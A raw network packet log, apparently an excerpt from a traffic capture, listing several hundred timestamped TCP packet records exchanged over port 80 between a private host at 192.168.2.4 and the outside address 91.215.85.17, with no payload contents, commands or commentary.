Oct 13, 2023 16:06:20.763528109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763591051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763631105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.763674021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763714075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.763753891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763809919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763854027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.763904095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763987064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764031887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.764075994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764161110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764199018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.764261007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764328003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764368057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.764372110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764458895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764511108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764549017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.764588118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764611959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764650106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.764687061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764725924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.764729977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764811993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764849901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.764857054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764916897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.764955997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.764987946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765031099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765098095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765136003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.765151024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765191078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.765202045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.765219927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765259981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765301943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.765342951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765362978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765404940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.765448093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765535116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765598059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765639067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.765690088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765784025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765824080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.765862942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.765907049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.765958071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766005993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766043901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.766107082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766161919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766202927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.766210079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766249895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766303062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766339064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.766381979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766472101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766510010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.766544104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766582966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.766657114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766787052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766819954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766827106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.766875982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.766917944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.766943932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767016888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767095089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767138958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.767155886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767226934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767262936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.767263889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767301083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.767319918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767380953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767417908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.767442942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767494917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767534971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.767543077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767611027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767661095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767699957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.767729998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767751932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767796040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.767844915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767887115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767899036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.767955065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.767996073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768028021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768038988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.768104076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.768105030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768140078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768186092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.768218040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768254995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768301010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.768343925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768388987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768428087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.768433094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768513918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768553019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.768563986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768651962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768728971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768768072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.768819094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768956900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.768996954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.769041061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769078970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.769109964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769191980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769232035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.769285917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769323111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769378901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769386053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.769433975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769476891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769515991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.769563913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769635916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769679070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.769680977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769717932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.769736052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769838095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.769876003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.769923925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770013094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770052910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.770117998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770190001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770235062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770288944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770309925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.770332098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.770353079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770454884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770492077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.770509958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770558119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770601034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.770632029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770716906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770730972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770770073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.770783901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770840883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770879984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.770899057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770922899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.770936012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.770993948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771044016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771081924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771089077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.771152973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771197081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.771212101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771250010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.771254063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771316051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771353960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.771358013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771419048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771459103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.771512032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771598101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771661043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771684885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771701097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.771722078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.771787882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771843910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771887064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.771914005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771959066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.771998882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.772051096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772104979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772219896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772264957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.772363901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772444010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772484064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.772530079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772576094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772578001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.772620916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772650003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772659063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.772733927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772797108 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.772815943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772869110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772905111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.772907019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.772969007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773024082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773065090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.773078918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773134947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773185015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773200035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.773219109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.773264885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773334980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773375034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.773441076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773493052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773519993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.773538113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.774003983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774079084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774127960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.774173975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774210930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774252892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774254084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.774343967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774389982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.774405956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774446964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.774465084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774518967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774557114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.774574995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774626017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774663925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.774693012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774755001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774827957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774867058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.774914026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.774982929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775019884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.775038958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775077105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.775106907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775172949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775209904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.775213957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775304079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775341988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.775379896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775433064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775471926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.775533915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775547981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775593042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.775609970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775670052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775747061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775788069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.775852919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775902987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.775943041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.775990009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776029110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.776034117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776102066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776170969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776215076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.776247025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776274920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776313066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.776341915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776379108 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.776393890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776448011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776488066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.776499987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776542902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776583910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.776612997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776654005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776782990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776828051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.776858091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776926041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.776966095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.776974916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777013063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.777043104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777089119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777128935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.777159929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777219057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777256966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777257919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.777354002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777439117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777481079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.777487040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777544975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777585030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.777616024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777652025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.777659893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777771950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777812958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.777852058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777940035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777980089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.777981997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.778042078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778131962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778146982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778173923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.778192997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.778214931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778278112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778316021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.778318882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778366089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.778403997 CEST	49762	80	192.168.2.4	91.215.85.17
